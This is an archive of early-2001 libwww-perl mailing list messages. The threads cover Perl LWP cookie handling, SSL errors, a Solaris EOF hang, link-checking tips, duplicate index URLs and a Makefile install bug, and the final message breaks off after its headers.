Received: from patan.sun.com (192.18.98.43)
  by tmtowtdi.perl.org with SMTP; 16 Feb 2001 12:41:34 -0000
Received: from ireserver.Ireland.Sun.COM ([129.156.220.7])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA28943
	for <libwww@perl.org>; Fri, 16 Feb 2001 04:41:32 -0800 (PST)
Received: from fourtytwo (fourtytwo [129.156.220.234])
	by ireserver.Ireland.Sun.COM (8.8.8+Sun/8.8.8/ENSMAIL,v2.1p1) with SMTP id MAA09156
	for <libwww@perl.org>; Fri, 16 Feb 2001 12:41:19 GMT
Message-Id: <200102161241.MAA09156@ireserver.Ireland.Sun.COM>
Date: Fri, 16 Feb 2001 12:40:17 +0000 (GMT)
From: Kai Krebber <Kai.Krebber@ireland.sun.com>
Reply-To: Kai Krebber <Kai.Krebber@ireland.sun.com>
Subject: cookie_jar problem
To: libwww@perl.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: yrCYIg2LrYNFjKt2Fpk0qQ==
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5_29 SunOS 5.9 sun4u sparc 

Howdy!

I almost don't dare to ask, but doesn't anybody have trouble getting cookies working for LWP::UserAgent at all?
I used a little script (Listing 19.5 from 'Perl 5 by Example'; e.g.http://www.codebits.com/p5be/ch19.cfm) to test a browsers capability 
of handling cookies and it works fine with Netscape.
However, if I try another little perl - LWP (5.50) script with cookie_jar as client, the testing script complains about the browser not 
beeing able to handle cookies.

Did I miss something?

Kai

---------------------8<-----------------

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request;

my $ua  = LWP::UserAgent->new();
my $jar = HTTP::Cookies->new();

$ua->cookie_jar($jar);
my $req = HTTP::Request->new(GET => "http://localhost/cgi-bin/cookietest.pl");
    $response = $ua->request($req);

    {  # Handle redirects
       if($response->code == 302) {
           $request = HTTP::Request->new(GET =>
                   $response->header('Location'));
           $response = $ua->request($request);
           redo;
       }
    }

if ($response->is_success) {
    print $response->headers_as_string(), "\n",
          $response->content(), "\n\n";
} else {
    print "Error! Code=", $response->code, "\n";
    print "Message=", $response->message, "\n\n";
} 

---------------------8<-----------------

#!/usr/bin/perl
      use strict;
      if ($ENV{'QUERY_STRING'} ne 'TESTING') {
          print "Status: 302 Moved Temporarily\n"; 
          print "Set-Cookie: Cookie=Test\n";
          print "Location: $ENV{'SCRIPT_NAME'}?TESTING\n\n";
      }
      else {
          if ($ENV{'HTTP_COOKIE'} =~ /Cookie=Test/) {
              print("Content-type: text/html\n\n");
              print("<HTML>");
              print("<HEAD><TITLE>$ENV{'HTTP_USER_AGENT'} supports Cookies</TITLE></HEAD>");
              print("<BODY>");
              print("Your browser, $ENV{'HTTP_USER_AGENT'}, supports the Netscape HTTP ");
              print("Cookie Specification.");
              print("</BODY></HTML>");
          }
          else {
              print("Content-type: text/html\n\n");
              print("<HTML>");
              print("<HEAD><TITLE>$ENV{'HTTP_USER_AGENT'} doesn't support Cookies</TITLE></HEAD>");
              print("<BODY>");
              print("Your browser, $ENV{'HTTP_USER_AGENT'}, doesn't appear to support cookies.");
              print("</BODY></HTML>");
          }
      }


From dcchristopher@darwinmail.net Fri Feb 16 10:15:07 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16165 for <hyper>;
          16 Feb 2001 10:15 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05806
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Feb 2001 10:14 PST
Received: (qmail 31916 invoked by uid 508); 16 Feb 2001 18:14:55 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 29054 invoked from network); 16 Feb 2001 17:58:25 -0000
Reply-To: demetri@planetmail.com
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
From: "Demetrios C. Christopher" <dcchristopher@darwinmail.net>
To: modperl@apache.org, libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Re: Apache::ASP, SSL problems ... must be LWP ...
Date: Fri, 16 Feb 2001 11:57:43 -0600
Message-ID: <NEBBKCHLILDAOIENGACCEEPBCAAA.dcchristopher@darwinmail.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hey guys, thanks for nothing ... this is the second reply
to my own email :(

Anyway, I contacted the site with which we were having problems
and they went through their logs only to discover that the only
difference between LWP https calls that were successful and those
that failed was the return code!!!

When I ran the local web script (that contacted the remote https
web server) under https then the request would come back 403.5.
When I ran it under http then it would come back 200.  It appears,
although LWP knows it's doing a https call and it successfully
connects, the SSL cipher it used was not 128-bit or was corrupted.
Now think, why would the mode of the server on which the process
is running bear an effect on the outcome of the connection miles
away?  I'm guessing there's a conflict of interest ... Stronghold
is tapping the SSL library (I can find out which one if people are
interested in helping, ah-hem) and when LWP is trying to form a
128-bit cipher it's getting some junk or errors.  Go figure.

Ok guys, I did most of the investigation work, anyone out there
who has seen this before?  Is Joshua out sick or something ;)

Thanks,
Demetrios

My original message follows, useful now that I also cross-posted
to libwww.  Please note that my problem described above has
temporarily subsided after installing Apache::ASP 2.09 (from 2.03).
Given though that the problem appeared all of the sudden without
any "cause", I am not so sure this is going to fly either.  Perhaps
resetting the server cleared some junk.


Hello all,
I am running A::A 2.03 on a Solaris 2.6 box with Stronghold 2.4.2, whatever.
The truth is I doubt the rest matters ... I am running a pretty cool web app
where fields are collected, validated and then appropriate action is taken,
one of which is to make an HTTP call (LWP) to a third-party site and
exchange
some info, register, blah-blah-blah.

To the point: when I use http for everything, the session variables work
fine
and everything works perfectly, as it's coded to do.  The moment I try to
take everything under https (since some of the information is personal and
of
financial nature) things work intermittently.  I have it down to a script of
what things you can do and what you cannot.  There is no logic behind having
to enter everything the first time around (the script is self-posting,
self-validating) in order to get the proper outcome.  At some point I
started
to dump the Session variables to see what's in them and found data from
_OTHER_ sessions!  Argh!  No, this has nothing to do with perl's closure
issue ... all functions come from .pm's and there is no problem with
function
calls.

I am at wits end ... I just went through all this in the last couple of days
and just bothered to check for a newer version of Apache::ASP.  I will try
to
upgrade soon to see if that does anything but I was hoping someone might
have seen this problem before where SSL session information did not work
as well as it should.

Did I mention this?: under https, calls to some remote server would
intermit.
fail and give back a 403 - Access Forbidden ... what the heck?  This
function
merely took data from the session and passed it as parameters ... what sort
of influence would which port the server was running on have on the HTTP
req.
being made and/or on the remote server's ability to process the
request?!?!?!

Oh well, hope someone out there can help out.  Thanks in advance.

Demetrios


From joshua@chamas.com Fri Feb 16 13:08:26 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00357 for <hyper>;
          16 Feb 2001 13:08 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa21190
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Feb 2001 13:08 PST
Received: (qmail 27478 invoked by uid 508); 16 Feb 2001 21:08:07 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 23629 invoked from network); 16 Feb 2001 21:00:37 -0000
Message-ID: <3A8D942F.8B60F4F1@chamas.com>
Date: Fri, 16 Feb 2001 12:57:19 -0800
From: Joshua Chamas <joshua@chamas.com>
Organization: NodeWorks <http://nodeworks.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en,ja
MIME-Version: 1.0
To: demetri@planetmail.com
CC: modperl@apache.org, libwww@perl.org
Subject: Re: Apache::ASP, SSL problems ... must be LWP ...
References: <NEBBKCHLILDAOIENGACCEEPBCAAA.dcchristopher@darwinmail.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Demetrios C. Christopher" wrote:
> 
> Hey guys, thanks for nothing ... this is the second reply
> to my own email :(
> 
> Anyway, I contacted the site with which we were having problems
> and they went through their logs only to discover that the only
> difference between LWP https calls that were successful and those
> that failed was the return code!!!
> 

Give me your URL that you are contacting, I'll see how it works
with my LWP.  You might try upgrading the Crypt::SSLeay https LWP 
library to the latest should you have an old one.  The latest 
Crypt::SSLeay supports SSLv3 and all that.

> Now think, why would the mode of the server on which the process
> is running bear an effect on the outcome of the connection miles
> away?  I'm guessing there's a conflict of interest ... Stronghold
> is tapping the SSL library (I can find out which one if people are
> interested in helping, ah-hem) and when LWP is trying to form a
> 128-bit cipher it's getting some junk or errors.  Go figure.
> 

I feel that this problem might be that the stronghold server was
insisting on its 128 bit SSLv3, and LWP might have been going 
for a SSLv2 or SSLv23 with 56bit, thus a funky 403. error, but
only time will tell!  It seems to clean an error to be some king
of corruption.

> Ok guys, I did most of the investigation work, anyone out there
> who has seen this before?  Is Joshua out sick or something ;)
> 

Like Ged said...

--Josh

_________________________________________________________________
Joshua Chamas			        Chamas Enterprises Inc.
NodeWorks >> free web link monitoring	Huntington Beach, CA  USA 
http://www.nodeworks.com                1-714-625-4051

From sborruso@stny.rr.com Sun Feb 18 09:24:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa19909 for <hyper>;
          18 Feb 2001 09:24 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa28134
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 18 Feb 2001 09:24 PST
Received: (qmail 25506 invoked by uid 508); 18 Feb 2001 17:23:41 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 25495 invoked from network); 18 Feb 2001 17:23:40 -0000
Received: from mailout3-1.nyroc.rr.com (HELO mailout3-0.nyroc.rr.com) (24.92.226.168)
  by tmtowtdi.perl.org with SMTP; 18 Feb 2001 17:23:40 -0000
Received: from stny.rr.com (bgm-24-169-164-228.stny.rr.com [24.169.164.228])
	by mailout3-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f1IHK2w21175;
	Sun, 18 Feb 2001 12:20:02 -0500 (EST)
Message-ID: <3A9002B2.5133932E@stny.rr.com>
Date: Sun, 18 Feb 2001 12:13:22 -0500
From: Steve Borruso <sborruso@stny.rr.com>
X-Mailer: Mozilla 4.72 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Phil Mitchell <philip_mitchell@harvard.edu>
CC: John_Gerrish@dot.state.ak.us, libwww@perl.org
Subject: Re: Workaround for LWP/Solaris missing EOF bug
References: <4.3.2.7.2.20010201143810.00b00370@hulmail.harvard.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings,

I've been experiencing a similiar "solaris EOF" problem on my server (virtual server, use a web hosting service)
for the last few months. I've been able to recreate it using LWP, the WGET package, and the LYNX commandline
browser app. The problem only appears to happen when I try to retrieve files from a couple of different sites (auction.goto.com and
home.net).

I hacked a simple perl script, along with placing test image files at the two target sites mentioned above, which demonstrates
the problem. The script uses LYNX with debug turned on and shows that the an HTTP 200 is received for all files but the script will
hang when receiving what appears to be the last packet of the image file being retrieved. Occasionally a couple of the files will come through

fine, sometimes the hang clears and I get a partial file, most times the hang just times out after several minutes.

I finally got my web hosting company to at least appear to listen to me on this problem. They've run my script and can re-create the problem.
I sent them the append below but the links now seem to go to Google.com (maybe a recent coorporate take over has stopped real work from
being done once again ?)

I would appreciate any other information that anyone can provide on this problem and also an alternate way to get the info on the solaris
fix/patch that I can send to my web hosting company for their review. If anyone's intereted in the test script please let me know.

Thanks for your time.

Best regards,
Steve Borruso




Phil Mitchell wrote:

> No, but I haven't really looked. My sysadmin turned up the following
> relevant thread in comp.unix.solaris... mentions a solaris patch.
>
> http://x76.deja.com/getdoc.xp?AN=690080681&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=0
>
> http://x76.deja.com/getdoc.xp?AN=690191763&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=2
>
> At 10:02 AM 2/1/01 -0900, you wrote:
> >Philip,
> >Have you ever seen reference to the 'solaris EOF bug' in either Sun or MS
> >literature?  Any chance anyone has a patch applied at OS or IIS level?
> >-Johnnie
> >--
> >John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
> >                  Alaska Marine Highway System, DOT/PF, State of Alaska
> >                  3132 Channel Dr, Juneau, AK  99801
> >Blessed are the flexible for they shall not be bent out of shape.


From tesh@go.ro Mon Feb 19 10:12:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00680 for <hyper>;
          19 Feb 2001 10:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06494
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 19 Feb 2001 10:12 PST
Received: (qmail 22472 invoked by uid 508); 19 Feb 2001 18:12:35 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 22461 invoked from network); 19 Feb 2001 18:12:34 -0000
Received: from home.rdsnet.ro (HELO relay1.home.ro) (193.231.236.40)
  by tmtowtdi.perl.org with SMTP; 19 Feb 2001 18:12:34 -0000
Received: (qmail 28710 invoked from network); 19 Feb 2001 18:14:46 -0000
Received: from ppp220136.fx.ro (HELO robertjo) (193.231.220.136)
  by s1.go.ro with SMTP; 19 Feb 2001 18:14:46 -0000
Message-ID: <002f01c09a9f$700aafc0$88dce7c1@robertjo>
From: Ovidiu <tesh@go.ro>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Fw: 
Date: Mon, 19 Feb 2001 20:11:52 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="windows-1250"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600


----- Original Message -----
From: "Ovidiu" <tesh@go.ro>
To: <libwww@perl.org>
Sent: Monday, February 19, 2001 9:24 AM


> Could you tell me a server where aI can put, for free, my Perl scripts for
> testing? The server where I have my personal page doesn't support Perl,
the
> provider for the company I work for also doesn't (for now), at WebJump the
> button for enabling CGI support simply dissapeared, and my MS Virtual
Server
> at home doesn't want to execute perl scripts. So, where can I test my
> scripts on the net?
>
> Thanks,
> Ovidiu
>


From philip_mitchell@harvard.edu Tue Feb 20 14:21:50 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13731 for <hyper>;
          20 Feb 2001 14:21 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06254
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 20 Feb 2001 14:21 PST
Received: (qmail 21808 invoked by uid 508); 20 Feb 2001 22:21:41 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 21771 invoked from network); 20 Feb 2001 22:21:36 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 20 Feb 2001 22:21:36 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id RAA20949
	for <libwww@perl.org>; Tue, 20 Feb 2001 17:21:31 -0500 (EST)
Message-Id: <4.3.2.7.2.20010220171555.00b0e970@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 20 Feb 2001 17:19:29 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Lessons learned: writing a linkcheck script w/ LWP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I have recently written a script to validate a list of about 10,000 urls 
that are embedded in the Harvard Library catalog. Although LWP out of the 
box will do fine on the vast majority of these, it misses a few percent -- 
which in my case added up to hundreds of spurious bad url reports. Here are 
the things that I learned in the course of trying to chase down this few 
percent -- thought others might find it useful:

1. As previously posted to this list, there is some kind of interaction 
between Solaris and certain HTTP servers by which the termination character 
of the HTTP response is dropped. (I have posted about this to the LWP list 
previously.) To handle this, you need some way to flush the response buffer 
when LWP times out (it's waiting for the termination character). What I did 
was use Net::Telnet in these cases to re-send the GET, b/c Telnet exposes 
the input_log even when it times out.

2. It took me a while to realize that when you create a GET request using 
the HTTP module, the default is not HTTP/1.0. A fair number of spurious 
errors result from not using HTTP/1.0.

3. I spent some effort determining the best combination of timeout and 
retry parameters. My conclusions are that your agent timeout should be 
about 30 sec. Increasing it to, say, 60 sec doesn't really help, and it can 
add a lot to the running time of your script. OTOH, setting it as low as 10 
sec will cause a lot of spurious errors. It is important to do retries 
spread over a fairly wide amount of time -- preferably more than 24 hours. 
The current settings on my script are to recheck errors about twenty times, 
spread over about 24 hours. This provides a very high degree of protection 
from spurious error reports -- at the risk of increasing unreported errors 
-- the tradeoff is inevitable.

4. Although the standard LWP user agent request will follow redirects for 
you, b/c of the problem mentioned in (1), I wound up using simple requests 
and handling all redirection myself. This proved non-trivial. There two 
different types of redirects and both can lead to page cycles (ie closed 
loops of urls). I identified five cases:
a. simple redirect using HTTP header;
b. redirect to same page, using HTTP header, to set cookies;
c. simple redirect using <meta http-equiv="refresh"...> tag;
d. refresh to same page using <meta http-equiv="refresh"...> tag;
e. refresh to a series of pages using <meta http-equiv="refresh"...> tag;


From philip_mitchell@harvard.edu Tue Feb 20 14:26:21 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14186 for <hyper>;
          20 Feb 2001 14:26 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06893
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 20 Feb 2001 14:26 PST
Received: (qmail 24179 invoked by uid 508); 20 Feb 2001 22:26:13 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 24168 invoked from network); 20 Feb 2001 22:26:13 -0000
Received: from sylvia.harvard.edu (128.103.151.242)
  by tmtowtdi.perl.org with SMTP; 20 Feb 2001 22:26:13 -0000
Received: from phil_mitchell.harvard.edu (ospr28.harvard.edu [128.103.151.128])
	by sylvia.harvard.edu (8.9.3/8.9.3) with ESMTP id RAA21094
	for <libwww@perl.org>; Tue, 20 Feb 2001 17:26:09 -0500 (EST)
Message-Id: <4.3.2.7.2.20010220171931.00aef9b0@hulmail.harvard.edu>
X-Sender: philip@hulmail.harvard.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 20 Feb 2001 17:26:08 -0500
To: libwww@perl.org
From: Phil Mitchell <philip_mitchell@harvard.edu>
Subject: Linkcheck script, request for comments
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

As I mentioned in the previous post, I have written a script that works 
pretty hard to determine an accurate error status for arbitrary urls. 
Unlike most of the linkscheck scripts out there, it does no spidering to 
find links, it just reads a list of urls and checks them. From my point of 
view, this is an advantage, since it is focused on a single problem, and it 
is configurable for number of retries, time between retries, etc. Also, I 
don't know of any other link check script that handles the Solaris/EOF bug 
-- quite significant if you're running your script on Solaris.

My question is whether there would be interest in having the script posted 
to cpan?


From john@office.naver.co.id Wed Feb 21 01:43:21 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01914 for <hyper>;
          21 Feb 2001 01:43 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa11819
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 01:43 PST
Received: (qmail 10783 invoked by uid 508); 21 Feb 2001 09:43:04 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10770 invoked from network); 21 Feb 2001 09:43:03 -0000
Received: from unknown (HELO dante.naver.co.id) (postfix@202.155.86.83)
  by tmtowtdi.perl.org with SMTP; 21 Feb 2001 09:43:03 -0000
Received: by dante.naver.co.id (Postfix, from userid 1000)
	id BEA7BBDEAA; Wed, 21 Feb 2001 16:42:20 +0700 (JAVT)
Date: Wed, 21 Feb 2001 16:42:20 +0700
From: John Indra <john@office.naver.co.id>
To: libwww@perl.org
Subject: / and DirectoryIndex
Message-ID: <20010221164220.A10743@office.naver.co.id>
Mail-Followup-To: libwww@perl.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Mailer: Mutt 1.2.5i on FreeBSD 5.0-20010210-CURRENT i386

Hi all...

How do I tell my user-agent (an LWP::UserAgent object) to NOT download both
/ and index.html or whatever remote sites DirectoryIndex set to?
Example, my user-agent sees 2 link:
- http:://www.domain.com/
- http:://www.domain.com/index.html
IF in this situation both link to the same document, my user-agent will be a
fool if it tries to download both file. How do I make a "smarter" user-agent
that will know that those 2 links are the same and only perform one GET
method, either to http:://www.domain.com/ OR
http:://www.domain.com/index.html?

Thanks...

/john


From reinpost@win.tue.nl Wed Feb 21 04:10:25 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10294 for <hyper>;
          21 Feb 2001 04:10 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa15226
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 04:10 PST
Received: (qmail 2509 invoked by uid 508); 21 Feb 2001 12:10:12 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2500 invoked from network); 21 Feb 2001 12:10:11 -0000
Received: from kweetal.tue.nl (131.155.2.7)
  by tmtowtdi.perl.org with SMTP; 21 Feb 2001 12:10:11 -0000
Received: from svis02.win.tue.nl (svis02.win.tue.nl [131.155.70.172])
	by kweetal.tue.nl (8.11.0/8.11.0) with ESMTP id f1LCA9Z28313
	for <libwww@perl.org>; Wed, 21 Feb 2001 13:10:09 +0100 (MET)
Received: (from rp@localhost)
	by svis02.win.tue.nl (8.11.0/8.11.1) id f1LC9pI21559
	for libwww@perl.org; Wed, 21 Feb 2001 13:09:51 +0100 (MET)
Message-ID: <20010221130950.A21534@win.tue.nl>
Date: Wed, 21 Feb 2001 13:09:50 +0100
From: Reinier Post <reinpost@win.tue.nl>
To: libwww@perl.org
Subject: Re: / and DirectoryIndex
References: <20010221164220.A10743@office.naver.co.id>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93i
In-Reply-To: <20010221164220.A10743@office.naver.co.id>; from John Indra on Wed, Feb 21, 2001 at 04:42:20PM +0700

On Wed, Feb 21, 2001 at 04:42:20PM +0700, John Indra wrote:
> Hi all...
> 
> How do I tell my user-agent (an LWP::UserAgent object) to NOT download both
> / and index.html or whatever remote sites DirectoryIndex set to?
> Example, my user-agent sees 2 link:
> - http:://www.domain.com/

This :: notation is contagious :-)

> - http:://www.domain.com/index.html

> IF in this situation both link to the same document, my user-agent will be a
> fool if it tries to download both file. How do I make a "smarter" user-agent
> that will know that those 2 links are the same and only perform one GET
> method, either to http:://www.domain.com/ OR
> http:://www.domain.com/index.html?

The server won't tell you whether or not they're the same document.
You have the same problem with server aliases or symlinks: the whole
tree

   http://www.domain.com/a/butreally/b/*

may be identical to 

  http://www.domain.com/b/*

Depending on what you find on the server it may be possible to hypothesize
some heuristics, for instance, '*/index.html always has the same content
as */', but exceptions are always possible.  The only way to be really sure
is to check the document content, or at least the header.

-- 
Reinier

From kent@erix.ericsson.se Wed Feb 21 05:13:17 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13301 for <hyper>;
          21 Feb 2001 05:13 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00236
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 05:13 PST
Received: (qmail 16876 invoked by uid 508); 21 Feb 2001 13:13:07 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 10957 invoked from network); 21 Feb 2001 12:49:37 -0000
To: libwww@perl.org
Cc: kent@erix.ericsson.se
Subject: Small Makefile bug in libwww-perl-5.50
From: Kent Boortz <kent@erix.ericsson.se>
Date: 21 Feb 2001 13:49:31 +0100
Message-ID: <d24rxourok.fsf@erix.ericsson.se>
Lines: 22
User-Agent: Gnus/5.070099 (Pterodactyl Gnus v0.99) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii


If I configure and 'make' as one user and install as another user
(for security reasons) then I get

  gandalf libwww-perl-5.50> make install
  /opt/local/bin/perl -e 'use Config; chdir q{blib/script}; foreach (qw(GET HEAD POST)) {' \
  -e 'unlink "$_";' \
  -e 'system("$Config{\"lns\"} lwp-request $_") && die; }'
  ln: cannot create GET: File exists
  Died at -e line 3.
  *** Error code 13
  make: Fatal error: Command failed for target `all'

This is because the Makefile 'install' target depends on 'all' that
call the lines above writing to the build directory without any
dependency check.

Not a big problem and it may not be a bug at all but it does not work
like most other modules I have installed.

kent


From discuss@sendme.cz Wed Feb 21 05:23:55 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13748 for <hyper>;
          21 Feb 2001 05:23 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02693
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 05:23 PST
Received: (qmail 18879 invoked by uid 508); 21 Feb 2001 13:23:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 18869 invoked from network); 21 Feb 2001 13:23:45 -0000
Received: from fepf.post.tele.dk (195.41.46.135)
  by tmtowtdi.perl.org with SMTP; 21 Feb 2001 13:23:45 -0000
Received: from oemcomputer ([212.65.196.171]) by fepF.post.tele.dk
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20010221132341.RJPD11476.fepF.post.tele.dk@oemcomputer>
          for <libwww@perl.org>; Wed, 21 Feb 2001 14:23:41 +0100
From: "discuss@sendme.cz" <discuss@sendme.cz>
To: libwww@perl.org
Date: Wed, 21 Feb 2001 14:25:32 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: parallel LWP
Reply-to: discuss@sendme.cz
Message-ID: <3A93CFDC.11809.15A5421@localhost>
